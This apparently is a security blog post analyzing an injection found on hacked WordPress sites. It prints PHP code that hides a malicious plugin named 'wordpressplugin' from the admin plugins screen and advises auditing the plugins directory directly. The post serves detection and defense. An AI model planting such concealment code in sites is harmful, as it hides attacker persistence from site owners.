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WP Plugin Hider

2019-04-23  by  Luke Leal

One of our analysts recently found an interesting injection that has been found on WordPress installations. Installed by hacker, it is used to hide a malicious plugin. that was installed by the hacker. In this instance the plugin was generically named “wordpressplugin”.


function hide_plugin() {
 global $wp_list_table;
 $hide_array = array('wordpressplugin/plugin.php');
 $my_plugins = $wp_list_table->items;
 foreach ($my_plugins as $key => $val) {
if (in_array($key,$hide_array)) {
  unset($wp_list_table->items[$key]);
}
 }
}
add_action('pre_current_active_plugins', 'hide_plugin');

This code helps the malicious plugin go unnoticed by the website owner, as it will not show within the normal plugins screen of the WordPress admin interface (previously we have seen similar behavior in “fake” plugins). In order to do this, they simply add a function that goes through and unsets the specific plugin they have used in the code. This function is then run every time before the active plugins are shown in the WordPress admin interface.

It’s recommended that you periodically audit and remove inactive plugins from your wp-content/plugins/ directory and do not solely rely on the wp-admin plugin page; it can be manipulated as seen here.

This type of code can also be used legitimately. Some developers do not want all their plugins shown on the plugins page of WordPress admin interface so that they can add similar code to prevent the appearance of the plugin.